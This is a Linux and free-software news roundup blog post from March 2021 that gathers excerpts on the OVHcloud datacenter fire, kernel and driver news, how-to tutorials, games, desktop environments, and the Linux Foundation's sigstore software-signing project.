03.10.21
Posted in News Roundup at 6:02 pm by Dr. Roy Schestowitz
Contents
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Server
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Around 3.6 million websites across 464,000 distinct domains were taken offline after the major fire at an OVHcloud datacenter site in Strasbourg overnight.
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Websites that went offline during the fire included online banks, webmail services, news sites, online shops selling PPE to protect against coronavirus, and several countries’ government websites.
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Unsurprisingly for a French hosting company, the most affected country code top-level domain (ccTLD) is .fr, which had 184,000 knocked-out websites spread across 59,600 distinct domain names – these account for 1.9% of all .fr domains in the world. In comparison, there were only 24,100 .uk websites hosted in the affected datacenters, across just 8,700 unique domains. Most of the affected websites use the generic .com top-level domain, amounting to 880,000 websites across 180,000 domains.
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Audiocasts/Shows
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In few hours, my demo for the Matrix Foundation will start. Wednesday 2021-03-10 6pm UTC, (19h00 in Paris; 6pm London; 1pm in New York; 10am in L.A.)
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This is more of an opinion than fact. According to Ankush, here are some of the most anticipated distributions of 2021.
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First up, in our Wanderings, I’ve upgraded my ears, Joe fixes everything, Moss gets ready to attack a monster, Tony Hughes takes a walk with tools, Josh is getting NAS-ty, and Mike weeps over wifi woes.
Then, in the News, SteamLink is on Linux, Mageia 8 is out, and Brave Searches for itself.
In Security, LastPass tracks you.
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Hello and welcome to the 398th installment of Linux in the Ham Shack. In this Short Topics episode, the hosts discuss YOTA, amateur radio on your motorcycle, ham fests on YouTube, Power FX, Jam, Garuda Linux, mvoice and much more. Thank you for tuning in and have a fantastic week.
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In this video, I am going to show an overview of KDE NEON 20210304 and some of the applications pre-installed.
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Kernel Space
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Chinese MIPS64 vendor Loongson announced the 2K1000 back in 2017 and while it has already been succeeded by more advanced chips in the Loongson 3 series, the Linux driver support for the 2K1000 is still coming together.
The Loongson 2K1000 is their dual-core 40nm part from 2017 that has around a 1.0GHz clock frequency for the MIPS64r2 LoongISA 1.0 processor. While Loongson generally enjoys good Linux support for their hardware, it’s taken a while for this 2K1000 support to come together.
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With that nasty swapfile issue behind us, the Linux 5.12 kernel is looking to be in good shape and on my tests so far across a number of different Intel and AMD systems I am not seeing any major surprises.
Long story short, aside from areas of noted changes for Linux 5.12, I am not seeing any benchmarks come out with unexpected results for better or worse. For one week now across continuous testing on many different systems, Linux 5.12 is looking to be in good shape and reliable with that swap fix causing no more file-system regressions.
I haven’t hit any major regressions either, unlike Linux 5.11 that was impacted by the AMD frequency invariance issue.
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The virtual sound driver for VirtIO has been queued up into the sound-next code ahead of the Linux 5.13 merge window this spring.
This virtual sound driver has been floated on the kernel mailing list while this week was queued up by sound maintainer Takashi Iwai of SUSE.
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Intel is looking far, far ahead of where it’s at today according to a recent update to its Linux driver stack. While we’re anticipating Intel Rocket Lake chips later this month, Intel is eyeing up Lunar Lake processors some three or more years in the future.
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That big new design will be Alder Lake, which represents a monumental shakeup in CPU architecture for the chipmaking company. So one can assume that all those thereafter will feature similarly disparate architectures from those around today.
Intel Alder Lake is still on track to arrive later this year, and will feature the 10nm Enhanced SuperFin process node for the first time on desktop. That’s not the massive shift in design we’re talking about, however. That’s the hybrid design of Alder Lake. These chip will feature up to eight ‘big’ cores, built from the Golden Cove architecture, and up to eight ‘little’ cores. Those little cores will be based on the low-power architecture usually found in Atom chips, but a newer and reportedly much more effective version than what’s around today, codename Gracemont.
These chips are also said to be the first to arrive with DDR5 RAM support on desktop, and we’ve seen heaps of memory manufacturers roll out the precursors to compatible kits over the past few months. PCIe 5.0 support is also incoming.
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Graphics Stack
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The AMD Radeon “Aldebaran” successor to Arcturus has now landed the initial user-space code into Mesa 21.1.
Last month AMD’s open-source graphics driver engineers began posting “Aldebaran” Linux kernel patches for this next-gen CDNA graphics card / accelerator. This came shortly after a new GFX90A target was added to LLVM in continuing the GFX9 (Vega) / CDNA family. That shader compiler back-end support indicated support for full-rate FP64 and other new capabilities.
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AMD recently added a notice to the ROCm repository reinforcing their focus on headless, non-GUI workloads while now that statement is being sort of retracted and they have clarified their support intentions around this open-source Radeon Open eCosystem driver stack.
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Over the last year and then so, Collabora has been working with Microsoft on their D3D12 mapping layer, which I announced in my previous blog post. Last July, Louis-Francis Ratté-Boulianne wrote a status update, but a lot has happened since then, so it’s time for another update.
We’re excited to share that the we have recently passed the OpenGL 3.3 conformance tests, and have upstreamed the code in Mesa 3D!
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Applications
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Consfigurator is a system for declarative configuration management using Common Lisp. You can use it to configure hosts as root, deploy services as unprivileged users, build and deploy containers, and produce disc images. [not all of these are implemented yet, but the design permits them to be]
Consfigurator’s design gives you a great deal of flexibility about how to control the hosts you want to configure. If there is a command you can run which will obtain input and output streams attached to an interactive POSIX sh running on the target host/container, then with a little glue code, you can use much of Consfigurator’s functionality to configure that host/container. But if it is possible to get an implementation of Common Lisp started up on the host, then Configurator can transparently execute your deployment code over on the remote side, rather than exchanging information via POSIX sh. This lets you use the full power of Common Lisp to deploy your configuration.
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Instructionals/Technical
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A virtual private network (VPN) is a secure and encrypted connection between two networks and individual users that protects your internet connection and privacy online. OpenVPN is a free and open-source VPN protocol that implements techniques to create secure point-to-point in routed configurations. It is cross-platform and compatible with all major operating systems.
In this tutorial, we will show you how to install and setup the OpenVPN on Debian 10 server.
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All servers that are accessible from the Internet are at risk of malware attacks. For example, if you have an application that is accessible from the public network, attackers can use brute-force attempts to gain access to the application.
Fail2ban is a tool that helps protect your Linux machine from brute-force and other automated attacks by monitoring the services logs for malicious activity. It uses regular expressions to scan log files. All entries matching the patterns are counted, and when their number reaches a certain predefined threshold, Fail2ban bans the offending IP using the system firewall for a specific length of time. When the ban period expires, the IP address is removed from the ban list.
This article explains how to install and configure Fail2ban on Debian 10.
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If you’re an Ubuntu LTS user, you don’t upgrade your system every 6 to 8 months to a new release. Instead, you upgrade to every LTS release, which is every two years. In this guide, we’ll show you how you can upgrade from Ubuntu 18.04 LTS to Ubuntu 20.04 LTS using both the GUI and the terminal.
Note: please be sure to back up your files before attempting to upgrade your Ubuntu installation. While Ubuntu upgrades almost always go smoothly, it’s still smart to save your data before trying to upgrade.
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In this tutorial, we will show you how to install Node.js on Manjaro 20. For those of you who didn’t know, Node.js is a Javascript platform for programming that enables users to build network applications very quickly. If you are using Javascript on both the front-end and the back-end, it means your development can be much more consistent and be designed within the same system.
This article assumes you have at least basic knowledge of Linux, know how to use the shell, and most importantly, you host your site on your own VPS. The installation is quite simple and assumes you are running in the root account, if not you may need to add ‘sudo‘ to the commands to get root privileges. I will show you through the step-by-step installation of Node.js on a Manjaro 20 (Nibia).
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Today we are looking at how to switch between light and dark themes on your Chromebook. Please follow the video/audio guide as a tutorial where we explain the process step by step and use the commands below.
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AlmaLinux by default comes with Gnome Desktop GUI, just like the existing CentOS 8 version. Even those who have installed a full Desktop version of this can also install KDE to easily switch between these two whenever they want.
The “KDE Community” is an international team that develops free and open-source software for both desktop PCs and mobile devices. Apart from the various software, the community also offers a desktop environment called KDE Plasma for Linux and UNIX platforms.
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Monitoring is one of the essential activities in the DevOps world. and I don’t even need to convince you about why monitoring is a good idea. You already know that, right?
You may of course stick to command line tools to monitor your server and the docker containers running on it, a GUI-based approach adds the convenience of analyzing performance metrics with an intuitive experience to observe multiple parameters all at once on the screen It also makes it easier for sharing the monitoring dashboard with less technical people.
In this tutorial, I am going to show you how you can set up monitoring for docker containers with dockprom and present it in a visually appealing form thanks to Grafana.
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How can I add a user to a group under Linux operating system using command line options? How to add an existing user into a group in Linux using command line options?
You can use the useradd or usermod commands to add a user to a group. This page explains how to add user to group in Linux using the CLI. The useradd command creates a new user or updates default new user information. The usermod command modifies a user account, and it is useful to add a user to existing groups.
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Ansible inventories can be static (stored in a file and managed in a source code repository) or dynamic (retrieved from an external web resource, such as through a RESTful API). Dynamic inventories are generated on-demand using inventory scripts or inventory plugins, consisting of code that Ansible runs to get a list of hosts to target when executing playbooks.
Red Hat Ansible Tower, also known as AWX (the name of its upstream community project), is a front-end to Red Hat Ansible Engine that simplifies operations on large IT infrastructures. Operators can log into the Ansible Tower web interface and create single jobs or complex workflows using Ansible Engine building blocks such as tasks, roles, and playbooks. Enterprises typically manage assets in a configuration management database (CMDB), such as NetBox, which Ansible Tower connects to using a specially written script or plugin.
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For Spotify users, you can add the currently playing song name displayed on the top panel in Ubuntu 20.04 via Gnome Extension.
There’s a Gnome Shell Extension called ‘Spotify Song Label’, which adds the current playing song as well as artist in the top bar.
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When you add a new user to a Linux system, you also change several files. Do you know all of them?
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File synchronization made easy and efficient with rsync
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In this tutorial, we will show you how to install Wireguard on Linux Mint 20. For those of you who didn’t know, WireGuard is a fast and modern VPN that utilizes state-of-the-art cryptography. It’s much faster than OpenVPN or IPsec while also having a smaller codebase that is easier to audit and maintain.
This article assumes you have at least basic knowledge of Linux, know how to use the shell, and most importantly, you host your site on your own VPS. The installation is quite simple and assumes you are running in the root account, if not you may need to add ‘sudo‘ to the commands to get root privileges. I will show you through the step-by-step installation of Wireguard VPN on a Linux Mint 20 (Ulyana).
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Package managers in Linux allow you to control the installation and removal of packages. In addition to that, package managers help you in finding broken packages on your system and reinstalling them to fix various issues associated with Linux packages.
If you are unaware of which commands to use in order to find broken packages in Linux, then this guide is for you. We will discuss broken packages in brief detail, how you can check if your system contains broken packages, and how to reinstall them properly.
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Arkime, also known as Moloch, is an open-source and large-scale indexed packet capture and search tool. It stores and exports all captured packets in PCAP format. You can use Wireshark or other PCAP ingesting tools to analyze the PCAP exported file. Arkime comes with a simple and user-friendly web interface that you can use for browsing, searching, and exporting PCAP. It is designed to be deployed in multiple systems and also able to handle gigabits per second of traffic.
In this post, we will show you how to install the Arkime Packet Capture tool on Ubuntu 20.04.
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Python, an object-oriented programming language, is well-liked among beginners and experienced developers due to its easy and user-friendly syntax. This versatile language is used as a key language in top tech companies.
With new features/modules, security updates, and improvements, the python 3.9 version has been released to make this functional language more useful and top-ranked.
Now, let’s check how to get python 3.9 on Ubuntu 20.04 device.
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In Linux-based operating systems and servers, the time zone and timestamps play a vital role in optimization and server management. If you are a server admin, you probably already know that changing the server timestamp can play a critical role in making your server accessible from various locations. If your Linux machine’s time is not synchronized correctly, your system might not get the appropriate package update. To avoid this hassle, you can use the NTP (Network Time Protocol) on your Linux machine to synchronize your machine’s time.
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Telegram is a hugely popular messaging client, especially for those interested in privacy. It’s easy to use and widely available for all platforms – Windows, macOS, Linux, Android, and iOS all have access to this platform, making it ideal for diverse teams of people. There are a few ways to get Telegram installed on your Linux desktop, so here we take a look at how to install the Telegram Desktop app in Linux.
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In Bash scripting, the “read” command is used to obtain input from users. Understanding the “read” command is key to making your code more interactive. The “read” command is used to obtain inputted information from the user. This article shows you how to use the “read” command in Bash to interact with users.
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I talked about yum-cron that provides auto yum updates nightly via cron. However, this package is no longer available on CentOS/RHEL 8 or Fedora Linux 29 or above. So how do you enable and install updates atomically on a CentOS/RHEL version 8.x? They have a new package called dnf-automatic. This page explains how to install and then enable dnf-automatic to install updates for you in the background.
Applying security updates on your CentOS and RHEL box is an essential task for all developers and sysadmin. Hence we need to install and enable dnf-automatic. It is nothing but systemd units that can periodically download package upgrades and apply them.
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Zimbra Collaboration Server is open-source collaborative software that comprises a mail server and a web client. It allows for email, calendaring, creating users and distribution lists, file sharing, chatting, managing mail server activities, etc. Zimbra Collaboration Server is supported on various platforms including Ubuntu 12.04, Ubuntu 14.04, Ubuntu 18.04, Redhat Enterprise Linux 6, Redhat Enterprise Linux 7, CentOS6, CentOS 7, etc. It is also supported on cloud platforms like VMware vCloud Director VMware vCloud Air and virtualization platform like VMware vSphere, XenServer 6, and KVM. The subject of today’s post is how to install the Zimbra Collaboration server on Ubuntu 18.04 LTS.
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Games
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After some delays the crowdfunded indie fighting game with characters designed by acclaimed cartoon producer Lauren Faust, Them’s Fightin’ Herds, will release for Linux on March 25. This follows from our report in January about the port being mostly done.
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While I haven’t yet jumped into the deep end of virtual tabletop experiences myself, the likes of Fantasy Grounds Unity and Foundry VTT support Linux and look really good. Want to spice them up if you play already? Enter the Pixels dice.
“Pixels are the coolest dice you’ve ever seen! Full of LEDs, smarts and no larger than regular dice, they can be customized to light up when and how you desire. Incredibly strong, smooth and sharp, they work for several hours at a time, after which you can simply recharge them with the accompanying case.”
These special dice communicate with your phone or tablet via Bluetooth for customization or other fancy features but since they’re still just dice, it’s not a requirement to actually use them. The signals used aren’t proprietary either, so they’re in talks with the likes of Foundry VTT, Roll20 and other popular virtual tabletops which sounds pretty awesome. Just because you’re at a distance, doesn’t mean you shouldn’t be able to have fun rolling right?
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Already spent hundreds of hours in Valheim? I wouldn’t blame you, it’s quickly becoming a favourite of mine. However, do you want to make your perfect map for next time? There’s a generator for that.
With the popularity of Valheim (constantly in Steam’s top 5) it’s not really a surprise that a modding scene has appeared around it, some of which we’ll probably look at in future articles. Today though, let’s talk maps! Valheim has generated maps, so each is supposed to be different.
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Anger Foot, a first-person ass-kicking game about having a very powerful kick is a recent fun discovery that you absolutely need to try out.
Designed by a few folks from Free Lives (Broforce, Genital Jousting) it’s a first-person action game about running through apartments and kicking everyone in sight. Backed up by some pumping tunes and lightning-fast movements, it’s certainly a memorable experience. Currently free too and it was designed originally for the 7DFPS Game Jam.
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While SCS Software still haven’t finished with the upcoming Iberia DLC for Euro Truck Simulator 2, they’ve already revealed the next one after with the Heart of Russia.
Continuing to be one of the most popular games on Steam, Euro Truck Simulator 2 regularly sees over 30,000 players online at any one time. It’s no surprise then that there’s a lot of excitement brewing whenever SCS tease a new location and people have been speculating for a while on this one. With Russia being such a huge country, SCS mentioned that they “cannot expect to include the whole country, we do not even dare to cover the whole of the European part in one project”. Their current goal is to “reach the upper Volga river, but if you know Russian geography, perhaps think of the Oka river rather than the lower parts of Volga or Don” with it being huge anyway and comparable to the upcoming Iberia.
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After your next time-sink? Maritime Calling sounds promising with it taking inspiration from the likes of Sid Meier’s Pirates, FTL and Age of Piracy. Developer Tiamat Games emailed in about this one, as they plan full Linux support for it.
“We bring you a comprehensive seafaring game, that doesn’t stop at simulating combat but goes far beyond. Below the decks, where sailors live, work and squabble. Into the heart of your captain, full of ideas and ambition. Across the oceans full of islands, reefs and harsh weather. Into the land – full of mysteries and nature’s gifts.”
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Desktop Environments/WMs
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K Desktop Environment/KDE SC/Qt
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With the prior KDE Plasma 5.21 is out and stable in the wild, we give you a glimpse of upcoming new features of KDE Plasma 5.22 and tentative release plans.
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RPM packages for TDE R14.0.9 are built for recently released Mageia 8 and are available in repository on our mirror system.
Thank you François!
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GNOME Desktop/GTK
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And I think that’s ok. Because I am a material nerd and I live in a material … shell? I guess those should have been the lyrics of the iconic 80s song. But no matter. We will discuss technology regardless. Specifically, I want to talk about Material Shell, a Gnome desktop extension that transforms the default Gnome desktop into a multi-layer tiled interface, intended to be productive and fun. One of the stated goals also says: getting rid of the anarchy of the traditional desktop workflows.
Well, I’m not sure what anarchy we’re talking about, but I was intrigued enough to have a go and see what gives. Perhaps Material Shell can indeed improve the Gnome experience, which I find quite restrictive, especially the lack of perma-visible application launcher shortcuts. Now, tiling is normally the domain of window managers, not so much full desktops, and ultra-nerd domain, so there’s another angle right there. Begin to test, we shall.
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Thus endeth the journey of the Material Nerd. Overall, I found the experience with Material Shell somewhat bi-polar. I liked the novelty, but I found the workflow weird and not as optimal as it can be. The variety is definitely nice, but I’m wondering if there’s a real-life need to create these two-dimensional buckets of application workspaces and their different (associated) programs, mostly because workspaces with panels, like in other desktop environment, already do this. Say Plasma or Xfce, each workspace can have its own set of applications, and they can be completely different from the other desktops. Also, in a way, this is just like workspaces, only tilted 90 degrees.
Material Shell does add flexibility to Gnome, so in that regard, it is useful, and if you like to experiment, there’s no harm in trying it. ‘Tis but a click away. On/Off, and you’re done. What would make it even more useful is if Material Shell allows the user to perma-pin workspaces and application groups. Then, one would have neatly organized, themed desktop workspaces. Furthermore, the ability to minimize applications should exist, especially for detachable layouts like Float. All in all, not bad. Avantgarde, one would say. And we’re done here.
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I don’t know about you but when I only think of spring, it always gives me that exciting feeling in my underbelly that boosts up my energy. Spring is in the air and besides the light signs of my hayfever announcing its arrival, that good old tingly feeling is starting to build up again, ready to burst out and to make me see things with fresh eyes again.
Well, I can tell you that those vibrant feelings of spring are whirling through the team and our community as well. The entire team together with the help of some community members are busy working on the next release with a lot of fun and enthusiasm, yes that tingly feeling is doing more than igniting a spark over here…
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Screenshots/Screencasts
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Today we are looking at SparkyLinux 2021.03 LXQt. It comes with Linux Kernel 5.10, LXQt 0.16.0, based on Debian 11 and uses about 400-500MB of ram when idling. Enjoy!
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In this video, we are looking at SparkyLinux 2021.03 LXQt.
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PCLinuxOS/Mageia/Mandriva/OpenMandriva Family
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Mageia, the user friendly computer operating system, finally released version 8 February this year. Mageia is a family to Ubuntu as it comes from GNU/Linux — that is, variant of GNU operating system with the kernel Linux and specifically Mageia is the living continuation of the first user friendly distro Mandriva. This article is a collection of direct download links plus torrents of Mandriva 8.
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The BitTorrent downloads are the same as the above direct downloads but it is more professional, faster, and error-resistant. You can use Transmission program on Ubuntu (built-in), Windows, or MacOS to download them.
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SUSE/OpenSUSE
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openSUSE has been known for years as an amazing, vast and buzzing community. But after many discussions with the many linguistic groups that compose the openSUSE mosaic, we feel that more could be done to facilitate communication and exchanges. We feel this is what makes a community of communities special: it thrives when all groups, from big to small, stick together and share the pleasure of sharing – be it knowledge, emotions or stories.
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Call to ‘“veteran contributors”: If you are a package maintainer or an infrastructure volunteer and you feel like your workflow could be improved or “parallelized” with help from additional volunteers, please do get in touch. Formation and delegation are a good way of strengthening bonds between communities.
As for working together, we will be adopting a flat, decentralized organization model, to avoid burdening a few people with a role that would be left hanging should they move on to other things. So there is no reason to worry that joining us will commit you to a year of weekly efforts. If you come up with a good idea, we’ll help you realize it, and that is all! No one will pressure you.
So if you are interested in helping us, or in being featured, or in getting involved in any way, please do ring us and tell us your story!
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IBM/Red Hat/Fedora
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Among 2020’s biggest buzzwords—unprecedented, pivotal, virtual—one emerged as a defining factor of Red Hat’s success amidst the chaos: resilience. Earlier this month, our President and CEO Paul Cormier outlined our path for 2021, which is built upon the resilience of our people and technology. We are proud to be able to highlight some of these aspects of our company and the recent accolades they’ve received from the industry.
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Every Fedora contributor is familiar with FAS (the Fedora Account System), and has used it to create and manage their Fedora Contributor Account. The current “FAS2” system was first deployed in 2008, and has managed Fedora users and groups for over 13 years.
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It is important to note that the new Fedora Accounts is not just a new user interface on the old FAS2 system. Fedora Accounts uses FreeIPA on the backend, with the new custom freeipa-fas plugin applied to add extra functionality for Fedora Accounts.
The new web frontend is powered by a new piece of software named Noggin, which provides a tailored UI for creating and managing your Fedora contributor account, and interfaces directly with the FreeIPA backend.
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In the previous article in this series exploring the Internet of Things (IoT), we provided an overview of the concept and explained the differences, and areas of overlap, between IoT, embedded, and edge computing. In this article, we’ll examine the device side.
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Aaeon’s rugged “Boxer-8253AI” edge AI system runs Linux on a Jetson Xavier NX and supplies HDMI in and out, 3x GbE (2x with PoE), 4x USB, SATA, mini-PCIe, M.2, SIM, and CAN.
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Open Hardware/Modding
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While there are some open-source programs for FPGA development such as Symbiflow or Yosys, FPGA vendors usually only provide closed-source programs for developers wanting to work on their chips.
But Xilinx has recently made a move to fulfill its “commitment to supporting open-source initiatives for developers and researchers” with the release of the source code of Vitis HLS Front-End.
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We are pleased to announce the launch of the new Arduino Portenta Breakout, designed for developing hardware projects, testing, and debugging on Portenta family boards.
The Portenta Breakout exploits all the capabilities of the input and outputs, making all high density connectors’ signals individually accessible.
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Mobile Systems/Mobile Applications
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The open source operating system FreeDOS is a tried-and-true project that helps users play retro games, update firmware, run outdated but beloved applications, and study operating system design. FreeDOS offers insights into the history of personal computing (because it implements the de facto operating system of the early ’80s) but in a modern context. In this article, I’ll use FreeDOS to explain how file names and extensions developed.
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Web Browsers
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Mozilla
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In a recent academic publication titled HTTPS-Only: Upgrading all connections to https in Web Browsers (to appear at MadWeb – Measurements, Attacks, and Defenses for the Web) we present a new browser connection model which paves the way to an ‘https-by-default’ web. In this blogpost, we provide technical details about HTTPS-Only Mode’s upgrading mechanism and share data around the success rate of this feature. (Note that links to source code are perma-linked to a recent revision as of this blog post. More recent changes may have changed the location of the code in question.)
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5 years ago today, I was declaring Iceweasel dead, and Firefox was making a come back in Debian. I hadn’t planned to make this post, and in fact, I thought it had been much longer. But coincidentally, I was binge-watching Mr. Robot recently, which prominently featured Iceweasel.
Mr. Robot is set in the year 2015, and I was surprised that Iceweasel was being used, which led me to search for that post where I announced Firefox was back… and realizing that we were close to the 5 years mark. Well, we are at the 5 years mark now.
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Funding
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Google has announced the 202 open-source projects that will be included as part of this year’s Google Summer of Code (GSoC) initiative for getting students involved in free software development.
Even with this year’s Google Summer of Code requiring half the time with half the stipend as prior years and that leading to some organizations not participating, there still are over two hundred open-source projects set to participate including 31 that will be part of GSoC for the first time.
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FSF
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GNU Projects
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This tutorial is for you computer users who love exploring operating systems. This explains step by step to try GuixSD, The GNU Operating system, in graphical ways on a virtual machine on existing Ubuntu laptop. We will use the free software Virt-Manager as the VM and see the GuixSD’s Xfce desktop. You will learn where to download the GuixSD, which image file to grab, and how to use it within a VM. Finally, I am glad I brought GuixSD here on Ubuntu Buzz! I hope you will enjoy this.
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Programming/Development
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When it comes to the computation of nested or deep data types like arrays or objects, Vue.js or any other programming language does not automatically detect the hierarchical change in the data. However, we all know that Vue.js provides the watch and computed properties to perform some change variables. But when it comes to nested data changes, Vue.js does not detect that. This post will learn to perform some changes by watching the nested data of arrays or objects.
Before learning about watching nested data in Vue.js, let’s first understand how the watch property works?
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Armadillo is a powerful and expressive C++ template library for linear algebra aiming towards a good balance between speed and ease of use with a syntax deliberately close to a Matlab. RcppArmadillo integrates this library with the R environment and language–and is widely used by (currently) 841 other packages on CRAN.
This release brings us a second update within the Armadillo 10.2 series, one month after the initial release. Upstream work has commenced at a 10.3 series with first pre-releases which we are currently testing. If possible, CRAN release will continue to be at least one month apart (such as this time) but we continue to make interim releases available on the Rcpp drat repo repo.
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Last summer, my wife and I sold everything we owned and moved with our two dogs to Hawaii. It’s been everything we thought it would be: beautiful sun, warm sand, cool surf—you name it. We’ve also run into some things we didn’t expect: WiFi problems.
Now, that’s not a Hawaii problem. It’s limited to the apartment we are renting. We are living in a single-room studio apartment attached to our landlord’s apartment. Part of the rent includes free internet! YAY! However, said internet is provided by the WiFi router in the landlord’s apartment. BOO!
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These snapshots are based on the 4.15 branch of Qt Creator and the upcoming Qt 6.1 release. You find them on our download server here: https://download.qt.io/snapshots/qtcreator_qt6/.
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Each of these methods will appeal to different people, and each one has elements that will definitely make you a better programmer. If you are an intermediate or advanced coder, it is almost certain that you’ve tried each of these methods at least once.
However, there is another method that the vast majority of developers overlook, which is a shame in my opinion because it has so much to offer. This method is to learn by reading, analyzing, and understanding existing, high-quality codebases!
We are lucky to live in a time where good code is often accessible for free via high-quality, free-and-open-source (FOSS) projects.
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Perl/Raku
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There are lot’s of good reasons for using the system perl, some of which include that the distribution packagers spend much time bundling and patching them, the security advantage of system perl packages being digitally signed (plenv and perlbrew don’t have any such mechanisms), or using mod_perl that comes with the distribution.
Folks may also be using perl for utility scripts in a perl averse company.
Disparaging comments about which perl interpreter people use and how it’s installed don’t persuade, inform, or encourage people to do more with perl, nor do they respect the different circumstances that other people may be working under.
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Python
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Computer Science is one of the hottest fields out there right now, and it keeps on growing and expanding further. It has tremendously evolved from what it used to be in the early days and now is being used for content that is changing the lives of millions of people. Such has been its advancement that has allowed concepts like artificial intelligence, deep learning, and so many others, which once looked impossible to come into existence.
One particular element of computer science that has seen a large evolution is the programming language section, which is an integral part of machines and comprises instructions that allow the machines to perform different tasks. Python is one high-level programming language that has immensely grown and is being used in multiple sectors of the industry.
However, Python itself is vast and can be implemented in several different flavors, which shall also be the topic of our discussion in this article, and where we will be looking at the different implementations that currently exist of Python.
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Different types of data of Django application, such as HTML content, XML data, JSON data, image, 404 error, etc. are transferred to the template through Django view. Each view is created for a specific purpose and associated with a particular template. The data of the view can be generated from the user through HTML form or from the database or business logic. Django views can be created using a method of python class or python function. The class-based views contain many functionalities compared to function-based views. For this, most of the Django applications use class-based views to represent the data of the Django application. The ways of creating the function-based view and class-based view have been explained in this tutorial.
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Shell/Bash/Zsh/Ksh
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Grep is a command-line utility widely used in Linux/Unix that uses in searching data sets of specific files for lines that match a regular expression of plain texts. Grep stands for Global Regular Expression Print. It was originally named by Ken Thompson who was also the original author. He named it so because in ed the command g/re/p has the same effect as grep. In this guide we will cover 20 useful grep command examples.
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In your day-to-day life, many things are associated with conditions. For example, when we decide, we first analyze its conditions, outcomes and finalize the decision. Conditional statements in any programming language shadow the same way, and they are core to every language. These statements are used to manage code execution flow and perform tasks based on true and false conditions.
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Rust
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Many people are interested in adding Rust to their existing projects for additional safety. For example it would be convenient to use Rust for individual high-risk things like string parsing while leaving the other bits as they are. For shared libraries you’d need to be able to do this while preserving the external plain C API and ABI. Most Rust compilation is done with Cargo, but it is not particularly suited to this task due to two things.
[...]
As adding numbers is highly dangerous, we want to implement the adder_add function in Rust and leave the other functions untouched. The implementation in all its simplicity is the following…
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Java
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The general availability (GA) release of the Java 16 Platform (Java SE 16) and the Oracle Java Development Kit (Oracle JDK) is set for March 16.
Oracle JDK 16 will be a short-term support release, which will be obsolete after the Long Term Support (LTS) release of Java 17 in September, but it comes with a long list of enhancements and upgrades, including Pattern Matching for instanceof; Records, previewed in Java 14; the new Packaging Tool; incubating versions of the Vector API, the Foreign Linker API, and the Foreign-Memory Access API; Sealed Classes, which is a preview feature.
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Hardware
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Back in 2019 we reported on Intel bringing up a new SoC dubbed “Lighting Mountain” to be used as a network processor and for other use-cases. Intel brought up that initial Linux kernel code for Lightning Mountain in 2019 but since then the code has already begun to fall into disrepair while it looks like it was either punted off as part of MaxLinear’s acquisition last year of the Intel Home Gateway Platform Division or otherwise as a result of that was cancelled.
There hasn’t been much to report on for Lightning Mountain since the initial batch of code went upstream in 2019 and then last year were just a few more Lightning Mountain (LGM) remnants going up in relation to Intel’s Gateway SoC. Then again, it isn’t an incredibly exciting area from a technical angle with Lightning Mountain being a 14nm Airmont based design.
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Integrity/Availability
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Proprietary
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Pseudo-Open Source
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Privatisation/Privateering
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Linux Foundation
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This release contains bug fixes to improve stability. This release note describes what’s different between Istio 1.8.3 and Istio 1.8.4
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In October 2020, the Kubernetes Dashboard officially turned five. As main project maintainers, we can barely believe that so much time has passed since our very first commits to the project. However, looking back with a bit of nostalgia, we realize that quite a lot has happened since then. Now it’s due time to celebrate “our baby” with a short recap.
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This year’s Summit will be a virtual experience taking place from May 25 – 28, 2021.
The Xen Summit brings together the Xen Project community of developers and power users to share ideas, latest developments, and experiences, as well as offer opportunities to plan and collaborate on all things Xen Project.
If you’d like to present a talk at the Summit, the Call For Proposals is open now and will close Friday, April 2 at 11:59 PM PT.
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State of the Edge, a project under the LF Edge umbrella organization that established an open, interoperable framework for edge independent of hardware, silicon, cloud, or operating system, today announced the release of the 4th annual, State of the Edge 2021 Report. The market and ecosystem report for edge computing shares insight and predictions on how the COVID-19 pandemic disrupted the status quo, how new types of critical infrastructure have emerged to service the next-level requirements, and open source collaboration as the only way to efficiently scale Edge Infrastructure.
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Windows-centric
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The command line version of 7-Zip for Linux was released.
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The Best 5 Linux Cloud Storage Solutions in 2021 [Ed: Those are not solutions. They’re disasters. This clown computing hype means instant data compromise.]
Cloud storage is arguably the best way to back up you personal data. It takes the physical action of backing up out of your hands and leaves you with an accessible archive of data.
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Security
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It’s evident that security for anything is a top priority now. And, ensuring that the software you use is genuine and developed by the original developers is even more important.
Of course, there will always be pirated or modded software available but even with that, if they utilize code signing, you will be able to verify the source (if you trust them in the first place).
Even though software signing is important and has a ton of benefits to ensure the integrity of the software, code signing isn’t something adopted by many developers.
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Sigstore aims to improve the open source software supply chain by simplifying the process of cryptographic software signing.
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The Linux Foundation has announced the launch of Sigstore, a new nonprofit initiative that aims to improve open source software supply chain security by making it easier for developers to adopt cryptographic signing for different components of the software development process.
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The Linux Foundation today embraced a sigstore project founded by Red Hat, Google and Purdue University to make it simpler for developers to employ cryptographic software, enabled by transparency log technologies, to secure software supply chains.
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In a bid to secure the open source software supply chain, the Linux Foundation, together with Red Hat, Google, and Purdue University have combined to launch a new project to help developers cryptographically sign their software.
Considering the constant increase in the rate of industrial adoption of open source software, the project, called sigstore, aims to prevent an attack on a public software repository from injecting tainted code in the supply chain.
“sigstore enables all open source communities to sign their software and combines provenance, integrity and discoverability to create a transparent and auditable software supply chain,” said Luke Hinds, Security Engineering Lead, Red Hat office of the CTO.
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The Linux Foundation, the non-profit organization enabling innovation through open source, has announced a new service to improve the security of the software supply chain by enabling the easy adoption of cryptographic software signing.
Called ‘sigstore’ it will allow software developers to securely sign software artifacts such as release files, container images and binaries. Signing materials will then be stored in a tamper-proof public log. Founding members of the project include Red Hat, Google and Purdue University.
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The Linux Foundation is launching “sigstore,” a free-to-use software signing certificate authority open to all developers.
Code signing cryptographically authenticates that software has not been tampered with before installation. It can be a valuable tool to prevent hackers from co-opting patching systems or software distribution to deliver malware.
But it can be a difficult feature for open source software producers to leverage, given the complexities of the process and key management.
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The Linux Foundation has announced a project called sigstore; its purpose is to protect against supply-chain attacks by signing (and verifying) release artifacts. “Very few open source projects cryptographically sign software release artifacts. This is largely due to the challenges software maintainers face on key management, key compromise / revocation and the distribution of public keys and artifact digests. In turn, users are left to seek out which keys to trust and learn steps needed to validate signing. Further problems exist in how digests and public keys are distributed, often stored on websites susceptible to hacks or a README file situated on a public git repository. sigstore seeks to solve these issues by utilization of short lived ephemeral keys with a trust root leveraged from an open and auditable public transparency logs.”
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The Linux Foundation is launching its new sigstore project to provide better security and protection for all aspects of the software supply chain. The new project will enable developers to sign specific aspects of their development process, ensuring that files and other assets carry strong, tamper-proof encryption.
